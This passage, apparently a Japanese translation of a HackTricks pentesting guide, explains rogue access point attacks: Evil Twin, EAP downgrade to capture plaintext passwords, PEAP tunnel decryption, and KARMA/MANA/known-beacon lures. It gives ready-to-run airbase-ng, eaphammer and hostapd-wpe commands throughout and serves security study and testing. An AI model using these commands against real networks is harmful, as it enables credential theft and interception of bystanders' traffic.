dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
次に、IPアドレスとルートを設定します。
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
そして、dnsmasqを起動します:
dnsmasq -C dnsmasq.conf -d
hostapd
hostapdは、Linuxベースのシステムで使用されるツールです。このツールは、ワイヤレスアクセスポイント(AP)を作成するために使用されます。hostapdを使用すると、ワイヤレスネットワークの設定やセキュリティオプションの管理が容易になります。
hostapdは、さまざまなセキュリティプロトコルをサポートしており、WPA2-PSKやWPA3-PSKなどの暗号化方式を使用することができます。また、MACアドレスフィルタリングやアクセス制御リスト(ACL)の設定など、セキュリティを強化するための機能も提供しています。
hostapdは、ペネトレーションテストやセキュリティオーディットの際に、ワイヤレスネットワークの脆弱性を評価するために使用されることがあります。ハッカーは、hostapdを使用して、ワイヤレスネットワークに対する攻撃や侵入をシミュレートすることができます。
hostapdは、柔軟性とカスタマイズ性が高く、さまざまなネットワーク構成に対応しています。また、コマンドラインインターフェース(CLI)を介して簡単に操作することができます。
hostapdの設定は、hostapd.confという設定ファイルを編集することで行います。この設定ファイルには、ネットワークのSSID、暗号化方式、パスワードなどの情報を指定します。
hostapdは、ワイヤレスネットワークのセキュリティを向上させるための重要なツールであり、ハッカーにとっても重要なリソースです。
apt-get install hostapd
以下は、_hostapd.conf_という名前の設定ファイルです。
interface=wlan0
driver=nl80211
ssid=MyWiFiNetwork
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=MyPassword
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
この設定ファイルを使用して、ホストアクセスポイントを構成することができます。
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
厄介なプロセスを停止し、モニターモードを設定し、hostapdを起動します。
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
フォワーディングとリダイレクション
Forwarding and redirection are techniques used in web applications to redirect users from one URL to another. These techniques are commonly used for various purposes, such as URL shortening, load balancing, and handling page not found errors.
Forwarding
Forwarding is the process of redirecting a user's request from one URL to another URL. This can be done using server-side techniques or client-side techniques.
Server-side forwarding is typically done using HTTP status codes, such as 301 (Moved Permanently) or 302 (Found). When a server receives a request for a specific URL, it responds with a status code and the new URL to which the request should be redirected. The client's browser then automatically sends a new request to the new URL.
Client-side forwarding, on the other hand, is done using JavaScript or meta tags. When a user visits a web page, the JavaScript code or meta tag instructs the browser to automatically redirect the user to a different URL.
Redirection
Redirection is similar to forwarding, but it involves sending the user to a different URL without the user's knowledge. This technique is often used for malicious purposes, such as phishing attacks or URL hijacking.
There are several methods for performing redirection, including:
- HTTP Redirection: This involves using HTTP status codes, such as 301 or 302, to redirect the user's request to a different URL.
- JavaScript Redirection: This involves using JavaScript code to automatically redirect the user to a different URL.
- Meta Tag Redirection: This involves using HTML meta tags to instruct the browser to automatically redirect the user to a different URL.
It is important to note that while forwarding and redirection can be useful for legitimate purposes, they can also be abused for malicious activities. Web application developers and security professionals should be aware of these techniques and implement appropriate security measures to prevent misuse.
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
イービルツイン
イービルツイン攻撃は、ほとんどのコンピュータやスマートフォンがワイヤレスネットワークの「名前」またはESSID(拡張サービスセット識別子)しか見ることができないという事実を利用したWi-Fi攻撃の一種です(基地局はクライアントに対して認証を行う必要がないため)。これにより、同じ名前と同じ種類の暗号化を使用するネットワークを区別するのは非常に困難になります。実際には、多くのネットワークでは、ユーザーを混乱させずにアクセスを拡張するために、同じ名前を使用する複数のネットワーク拡張アクセスポイントが存在します。
クライアントの実装方法によって(802.11プロトコルでは、同じESS内のアクセスポイント間を自由にローミングすることが許可されていることを覚えておいてください)、デバイスを接続している基地局を変更することが可能です。これは、より良い信号を提供すること(常に可能ではありません)または元の基地局へのアクセスをブロックすること(認証解除パケット、ジャミング、またはその他のDoS攻撃など)によって行うことができます。
また、実際のワイヤレス展開では通常、単一のアクセスポイントよりも複数のアクセスポイントがあり、これらのアクセスポイントは天井に向けて配置されるため、より強力で視野範囲が広い場合があります。単一のアクセスポイントを認証解除すると、ターゲットは通常、ローグAPではなく別の有効なアクセスポイントにローミングする結果となります(近くのすべてのアクセスポイントが認証解除される(大音量)場合や、ローグAPの配置に非常に注意する(困難)場合を除く)。
次の手順で、非常に基本的なオープンイービルツイン(インターネットへのトラフィックのルーティング機能なし)を作成できます。
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
eaphammerを使用してEvil Twinを作成することもできます(eaphammerを使用してEvil Twinを作成するには、インターフェースはモニターモードではないことに注意してください):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
または、Airgeddonを使用する場合は、オプション:5,6,7,8,9(Evil Twin攻撃メニュー内)
です。
デフォルトでは、PNLに保存されているESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃し、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃し、WPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法では、PSKを知らないため、被害者を自分に接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます)。
一部のOSとAVは、オープンなネットワークに接続することは危険であるとユーザーに警告する場合があります...
WPA/WPA2 Evil Twin
WPA/2を使用したEvil Twinを作成することができます。デバイスがWPA/2でそのSSIDに接続するように設定されている場合、接続を試みます。ただし、4ウェイハンドシェイクを完了するには、クライアントが使用するパスワードを知る必要があります。それを知らない場合、接続は完了しません。
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
エンタープライズの偽アクセスポイント
この攻撃を理解するためには、まずWPAエンタープライズの説明を読むことをおすすめします。
hostapd-wpeを使用する
hostapd-wpe
は動作するために設定ファイルが必要です。これらの設定を自動化するために、https://github.com/WJDigby/apd_launchpadを使用することができます(_/etc/hostapd-wpe/_内のPythonファイルをダウンロードしてください)。
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
設定ファイルでは、ssid、チャネル、ユーザーファイル、証明書/キー、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます...
EAP-TLSを使用したhostapd-wpeを使用して、任意の証明書でログインを許可する方法
EAPHammerの使用
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
デフォルトでは、EAPHammerは次の認証方法を使用します(平文パスワードを取得するために最初にGTCを試し、その後より堅牢な認証方法を使用します):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
これは、長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強い方法まで、サーバーに認証方法を指定することもできます。
--negotiate weakest
または、次の方法も使用することができます:
--negotiate gtc-downgrade
は、高効率なGTCダウングレード実装(平文パスワード)を使用します。--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
は、手動で提供されるメソッドを指定します(攻撃対象の組織と同じ順序で同じ認証メソッドを提供することで、攻撃を検出することがより困難になります)。- 詳細はwikiを参照してください
Airgeddonを使用する
Airgeddon
は、事前に生成された証明書を使用してWPA/WPA2-EnterpriseネットワークにEAP認証を提供することができます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、ユーザーとパスワードのMD5をキャプチャすることができます。後で、攻撃者はパスワードを解読しようとすることができます。
Airggedon
は、**連続的なEvil Twin攻撃(ノイズあり)または誰かが接続するまでEvil Twin攻撃を作成するだけ(スムーズ)**の可能性を提供します。
Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ
この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです
hostapd-wpe_の設定内で、dh_file_を含む行をコメントアウトします(dh_file=/etc/hostapd-wpe/certs/dh
から#dh_file=/etc/hostapd-wpe/certs/dh
まで)。
これにより、hostapd-wpe
がDHの代わりにRSAを使用して鍵を交換するようになり、後でトラフィックをサーバーの秘密鍵を知っている状態で復号化することができます。
次に、通常どおりに変更された設定を使用してEvil Twinを**hostapd-wpe
で開始します。また、Evil Twin攻撃を実行しているインターフェースでwireshark
**も開始します。
今すぐまたは後で(すでにいくつかの認証意図をキャプチャした場合)、wiresharkにプライベートRSAキーを追加できます:Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
新しいエントリを追加し、次の値を入力します:IPアドレス = any -- ポート = 0 -- プロトコル = data -- キーファイル(キーファイルを選択し、問題が発生しないようにパスワードで保護されていないキーファイルを選択します)。
そして、新しい**「Decrypted TLS」タブ**を見てください:
KARMA、MANA、Loud MANA、およびKnown beacons攻撃
ESSIDおよびMACのブラック/ホワイトリスト
次の表は、使用されるときの効果を含む、異なるタイプのMFACL(Management Frame Access Control Lists)とその効果をリストしています:
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
KARMA攻撃は、ステーションが使用するネットワーク選択プロセスを悪用するローグアクセスポイント攻撃の一種です。2005年にDino Dai ZoviとShane Macaulayが執筆したホワイトペーパーで、攻撃者がアクセスポイントを設定して、指向性プローブリクエストを受信し、それに一致する指向性プローブレスポンスをすべて応答することができると説明しています。これにより、影響を受けるステーションは自動的に攻撃者のアクセスポイントに関連付けリクエストを送信します。アクセスポイントは関連付けレスポンスを返し、影響を受けるステーションは攻撃者に接続されます。
MANA
Ian de VilliersとDominic Whiteによると、現代のステーションは、少なくとも1つのブロードキャストプローブリクエストに既に応答していないアクセスポイントからの指向性プローブレスポンスを無視することで、KARMA攻撃から自己保護するように設計されています。これにより、KARMA攻撃の脆弱性があるステーションの数は大幅に減少しました。しかし、2015年にWhiteとde Villiersは、そのような保護を回避する手段を開発しました。Whiteとde Villiersの改良されたKARMA攻撃(MANA攻撃)では、指向性プローブレスポンスを使用して近くのステーションのPNL(Preferred Network List)を再構築します。ステーションからブロードキャストプローブリクエストが受信されると、攻撃者のアクセスポイントは、そのデバイスのPNLに既に存在する任意のSSIDで応答します。
要約すると、MANAアルゴリズムは次のように機能します。アクセスポイントがプローブリクエストを受信するたびに、まずブロードキャストまたは指向性プローブかどうかを判断します。指向性プローブの場合、送信元のMACアドレスがハッシュテーブルに追加されます(まだ存在しない場合)し、ESSIDがそのデバイスのPNLに追加されます。その後、アクセスポイントは指向性プローブレスポンスを返します。ブロードキャストプローブの場合、アクセスポイントはそのデバイスのPNL内の各ネットワークに対してプローブレスポンスを返します。
eaphammerを使用したMANA攻撃:
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
ラウドMANA
標準のMANA攻撃では、直接のプローブを使用しないデバイスを攻撃することはできません。したがって、デバイスのPNL内に事前にエントリがない場合、攻撃するための別の方法を見つける必要があります。
可能性としては、ラウドMANA攻撃があります。この攻撃は、物理的に近接しているクライアントデバイスは、少なくともいくつかの共通のエントリをPNLに持っている可能性があるという考えに基づいています。
要約すると、ラウドMANA攻撃では、特定のデバイスのPNL内の各ESSIDに対してプローブリクエストに応答する代わりに、不正なAPは以前に見たすべてのデバイスのすべてのPNLの各ESSIDに対してプローブレスポンスを送信します。集合論に関連して言えば、APは近くのデバイスのすべてのPNLの和集合内の各ESSIDに対してプローブレスポンスを送信すると言えます。
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
既知のビーコン攻撃
Loud MANA攻撃が成功しない場合もあります。
既知のビーコン攻撃は、被害者が攻撃者に接続するようにするために、ESSIDを「ブルートフォース」する方法です。攻撃者は、任意のESSIDに応答するAPを作成し、ワードリスト内の各名前のESSIDを偽装したビーコンを送信するコードを実行します。被害者のPNL内にこれらのESSID名のいくつかが含まれていることを願って、被害者は偽のAPに接続しようとします。
Eaphammerは、この攻撃をMANA攻撃として実装しており、リスト内のすべてのESSIDが読み込まれます(--loud
と組み合わせてLoud MANA + 既知のビーコン攻撃も作成できます)。
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
既知のビーコンバースト攻撃
既知のビーコンは騒々しいです。Eaphammerプロジェクト内のスクリプトを使用して、ファイル内のすべてのESSID名のビーコンを非常に迅速に発信することができます。このスクリプトをEaphammer MANA攻撃と組み合わせると、クライアントはあなたのAPに接続することができます。
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct(Wi-Fiダイレクト)
Wi-Fi Directは、ワイヤレスAPなしでデバイス同士を接続するためのWi-Fi標準です。2つのデバイスのうちの1つがAP(グループオーナーと呼ばれる)として機能します。プリンターやテレビなど、多くのIoTデバイスでWi-Fi Directが使用されています。
Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected Setup(WPS)に依存しています。WPSには、Push-Button Configuration(PBC)、PIN entry、Near-Field Communication(NFC)など、複数の設定方法があります。
したがって、WPS PINに対する以前に見られた攻撃は、ここでもPINが使用されている場合に有効です。
EvilDirectハイジャッキング
これはEvil-Twinのように機能しますが、Wi-Fi Direct用です。グループオーナーをなりすまして、他のデバイス(例:電話)が自分に接続するように試みることができます:airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0
参考文献
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
TODO: https://github.com/wifiphisher/wifiphisherを確認する(FacebookでのログインとキャプティブポータルでのWPAの模倣)
HackenProofはすべての暗号バグ報奨金の場所です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップしてハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしましょう。
- ハッキングのトリックを共有するには、hacktricks repo と hacktricks-cloud repo にPRを提出してください。